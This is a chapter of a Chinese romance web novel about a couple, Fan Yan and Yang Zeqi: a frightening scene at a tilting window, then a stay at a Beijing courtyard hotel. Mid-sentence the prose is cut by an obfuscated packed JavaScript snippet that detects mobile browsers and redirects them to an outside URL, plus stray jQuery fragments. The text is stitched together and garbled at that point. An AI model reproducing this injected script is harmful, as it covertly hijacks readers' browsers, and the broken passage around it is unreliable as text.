25. 动摇

作品:《他的娓娓道来

    范妍所处的这个位置是整栋大楼的螺旋处。


    以中间为点,落地窗向外倾斜了三十度左右。


    范妍身体的重量全部放在薄如蝉翼的落地窗上,下临无地,身后空旷一片,只要裂开一条缝,整片玻璃都会瓦解,两个人粉身碎骨。


    范妍大脑一片空白,脑袋被他吻压着,余光看见身后的风景,云层缓慢的飘过,瞬间有股失重感,她想要起身。


    恐高症犯了。


    杨择栖手掌按在她的腰旁边,拦截她的去处,“去哪儿?”


    她声音很细,有点颤,“我有点怕……”


    杨择栖就真的以为她只是“有点”怕,不知道她对这种距离已经达到恐慌、肢体僵硬的地步。


    恐高症这种遇上了才会犯的病,很少有人会发现。


    他问她,“不是去哪儿都要跟着我吗?”


    范妍有点怵,她伸手去推他,“可是我害怕呢,杨择栖。”


    她一说哪里不舒服,或者不高兴,杨择栖是百分百要顾及她的。


    这次他没有。


    他的手肘撑在玻璃上,手指头撩着她额前的头发,声音低哑,“我不也跟你一起,掉下去了有我陪着你。”


    杨择栖手伸长,摸到旁边的开关。


    范妍感觉身体往后倒去,她被他压制得动不了。


    她的手扯住他的西装边缘,觉得他这个样子好陌生,“不要……杨择栖。”


    落地窗仍在缓慢往外倾斜,发出轻微的机械声响。


    杨择栖声音像掺杂了空气,特别蛊惑,“那还不抱紧点。”


    “我不要抱紧,我要起来。”


    这话听的他不舒服,“我记得你上次还说要跟我惊天动地,怎么这会儿就害怕了?”


    好像上次吵架的时候,范妍是说过这么一句话,那确实也是有情绪冲动的成分在。


    范妍现在是没时间思考,她不相信这块玻璃可以承载两个成年人的重量,“那也不能命都不要了,万一这个玻璃真的破了怎么办。”


    杨择栖用指关节敲了敲玻璃,在她耳边发出清脆的响声,范妍觉得整个灵魂都在颤抖。


    他居然说,“那不正好,我们两个做一对亡命鸳鸯。”


    这四个字放在平时,范妍听了不知道会有多高兴。


    可是现在的她一点思考能力都没有,感觉每个毛孔都很焦灼,眼珠子都不敢动,生怕看一眼就腿软了,然后身体一动,玻璃碎裂。


    出现噩梦里坠落的场景。


    “我不要这样,我要起来。”范妍全身没有一个着力点,“杨择栖,我要起来。”


    杨择栖明确,“我会跟你一起好不好。”


    范妍摇头都不敢,脖子僵硬动弹不得,“我们起来吧,起来好不好。”


    杨择栖仍然在等她抱紧自己,“不怕,你抱紧点,我不会松开你。”


    他这一说,弄的跟这块玻璃真的要碎一样,两个人像要殉情。


    她慌了,“你别这样说。”


    他闭着眼睛笑,“不是想跟我在一起,不是要对抗全世界?”


    范妍听不进去,手指死死捏紧他的衣服,手心冒冷汗。


    她一直都是一个没有安全感的人,信任的人都只有眼前这一个,更不会把后背交给任何物品。


    这样的女孩,根本不适合用这种方式去试探她对自己的爱意和决心。


    范妍的眼尾有点泛红,呼吸都不敢放大,“你就当我说错了,我说错了……我现在只想起来。”


    “我会保护你,相不相信我?”


    “我不要你保护,我要起来。”她声音怯怯的,差点要哭出来。


    “我保证你永远不会有事,你只需要一直抱紧我......”


    现在让她动,还不如直接让她去悬崖边上蹦极,“我不,我要起来,快点杨择栖。”


    杨择栖引导她,“抬手环住我的腰。”


    突然有风从侧边吹进来,冷的她牙齿都在打颤。


    范妍很想抬手抱着他,但是真的做不到,只要一个翻身,两个人就会从旁边掉下去。


    她感觉自己毛孔都是僵的,“我不要环住你,我说了,我现在要起来,你听懂了吗。”


    杨择栖不再多说了。


    他伸手又去碰开关,大掌从她腰后的缝隙伸进去,让她紧紧贴住自己,给她安全感。


    范妍紧绷的身体有了依靠,玻璃慢慢往回去,她的眼睛一动不动的盯着旁边的开关。


    似乎想说快点回到刚才的安全度数。


    玻璃定住,变成了一面落地窗,范妍脚碰到地面,腿都差点软了,她用力站住,手还抓着他的西装。


    杨择栖什么也没说,看着窗外若有所思。


    范妍心情平复,调整呼吸,她低头,极其轻微的转动眼珠子看了一眼外面,一阵眩晕,她赶紧闭上眼。


    然后大步走到旁边的沙发上去踏实坐着,她有点生气。


    杨择栖问她,“吓到了?”


    “你好烦,我不喜欢你这样。”


    我不喜欢你,杨择栖听了没什么反应,微微点头,“给你道个歉,别生气了行吗。”


    范妍没回答杨择栖的话。


    杨择栖走到他面前,心里特别自责,“是我不好,我下次不这样了。”


    范妍抬眸看他,把心里话说出来,“我永远不来这个房间了。”


    打死她都不来了。


    “嗯。”杨择栖回答。


    范妍起身往外走,或许是还没有从刚才的惊魂未定中抽离出来吧,小腿前撞到了茶几的角。


    杨择栖拽住她的衣领往后扯。


    人没被绊倒,但是撞到了,轻声喊了句,“哎……”


    他又气又心疼,“让你不看路,撞到了知道痛了?”


    范妍摸了摸小腿,“我又不是故意的。”


    他连苛责别人的话都温和,“你总冒冒失失,这种事都发生多少次了。”


    杨择栖蹲下去摸她的小腿,上面有点紫了,那块痕迹在她白盈的皮肤上显得格外碍眼,他问,“疼不疼?”


    范妍有点低气压,“不疼。”


    “以后小心点。”


    范妍直接一句,“刚才不是不说以后,只说下次吗。”


    她有时候太过敏锐,把杨择栖弄的不知道怎么回,说了怕人家理解不了。


    做什么都深思熟虑的人,不会让自己行差踏错,飞蛾扑火的想法冒出来了,都会被压下去,刚才那几句话,是杨择栖自己允许了自己,也想好了以后怎么对她负责。


    平时这样问她,范妍总是毫不犹豫,说喜欢他,要跟着她,说他千好万好,恨不得把所有的甜言蜜语都掏出来,表达自己的热烈。


    年轻就是有做了承诺但是反悔的资本。


    可真遇上事摆在两个人面前,她就马上改口,那点喜欢也没了。


    他不要她去担什么事。


    北京是杨择栖最喜欢的城市之一,他在海淀区买了一套房子,想着真有一天自己想成家,就跟妻子住这里,与世无争,毕竟杨家大院还是太复杂。


    车子没有按照原计划开去海淀区。


    而是到了一家酒店。


    北京前门文华东方酒店,扎根在寸土寸金的二环,压在中轴线上的四合院。


    沉重的棕色木门旁边放了两个可爱的石狮子,脑袋只有拳头大小。


    范妍走到右边的墙上,看到一块扇形的金色牌,“这儿是哪儿?”


    已经有答案了,上面写着,“北京前门文华东方酒店”。


    杨择栖主动去牵范妍,她径直把手放口袋里。


    范妍跟着服务生进门,穿过胡同,来到了两人住的地方。


    这里像隐匿于世的京城府邸,四方的天,院子中间有棵树,转角的墙壁处种了翠竹,面对院内的墙壁都装上了红木边框的落地窗。


    推开房


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16889250|192162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门,里面是不同的风格,中式现代化,大床对面不再是灯火璀璨的高楼,没有堆砌金箔。


    遮阳伞下放了两个木椅子,一壶茶一盘点心,往这儿一坐,好像最不缺的就是时间。


    宁静的烟火气,难怪杨择栖喜欢这儿。


    而且这里是一楼,范妍心里踏实。


    管理员微微低头,“杨先生,杨太太,祝你们入住愉快,有需要随时叫我。”


    范妍跟杨择栖异口同声的说,“谢谢。”


    范妍说完立刻别开脸。


    门被关上,房里的气氛有一丝沉闷。


    范妍坐在客厅沙发上,又开始假装很忙的样子,像那天在深圳吃饭,非要找点事情做,掩盖自己的情绪。


    杨择栖看着她,突然想到一个问题,如果没跟自己结婚,范妍现在已经研究生毕业了。


    加上家里的托举,自己又有才华,杨择栖想见她一面倒是更难。


    杨择栖走过去把旁边的窗帘拉上,范妍偷偷看了他一眼,暂停了电视机里的内容。


    杨择栖坐到她旁边,还没来得及说什么,她抱住他的腰,“真的不跟我谈以后了吗?”


    她抬头,素面朝天的一张脸,眼睛一尘不染。


    杨择栖薄唇紧抿,手放在她脑袋上,指头被她的发缠住,俊美的五官陷进她的瞳孔里。


    可是善变是人的本质,再说自己能给的,她从来不缺。


    杨择栖已经不想聊这个话题,回归理性的瞬间,也在鞭策自己,怎么差点动摇,她不懂事,自己也不懂事吗。


    他摸她的头,“你还有很长的路要走呢。”


    范妍把他抱紧,“我不接受。”


    “别因为以后耽误现在。”杨择栖知道,他们的每分每秒,都在流逝。


    范妍用了偷偷两个字,“偷偷跟你在一起,又不影响我以后。”


    要么就不离婚,要么就分开,偷偷在一起是什么意思,杨择栖不喜欢她总是冲动,不经过大脑的话语,可是听了又忍不住的动容。


    他说,“让你没名没份的跟着我,我就做不到,你要我看着你为了我,像个情人一样呆在暗处?”


    范妍真的在考虑。


    杨择栖问,“腿怎么样,我看看。”


    范妍也不想破坏此时的安逸,“我没有这么娇气,就一小块,明天就好了。”


    “疼吗。”


    “不疼,没感觉。”


    杨择栖想看看她的伤,被范妍制止,“你总这样,我一点风吹草动,你就弄的跟出大事了样,我真的不疼啊。”


    范妍把裙子撩起来,在那块紫了的地方又掐又捏,就为了跟他证明。


    她耸了耸肩膀,“真的不疼,没感觉。”


    杨择栖急忙把她手抓回来,又把她整个人放在自己怀里,牢牢的,紧紧的抱住,下巴放在她的头顶上


    他心理很难受,不想让她打自己,“好了,好了……”


    范妍懵了一瞬间,又安静靠着他的胸膛,闭上了眼睛,“我好喜欢你这样。”


    “为什么?”杨择栖真的不懂。


    范妍鼻尖有点酸涩,“喜欢你爱惜我的样子。”


    杨择栖轻轻的说,“那范妍也要更爱惜自己。”


    范妍点头。


    杨择栖察觉不对,捧着她的脸看了一眼,用大拇指抹掉了她眼尾的泪水。


    快八点的时候管理员送吃的过来,餐车上放着各色各样的食物,其中有个铜锅。


    范妍想起以前来北京,自己老喜欢去银锭桥吃鸦儿李记的火锅。


    管理员帮她们把铜锅放到院子中间,两人边吃边聊,胃里被塞满,从身到心都是热的。


    迟早会到房,范妍洗完澡躺在床上,她困倦的拉下眼皮,杨择栖从浴室出来,带着一阵沐浴露香。


    她朝着他伸出一个手。


    杨择栖边擦着头发边走过来,一个膝盖跪在床上,另一个手伸过去。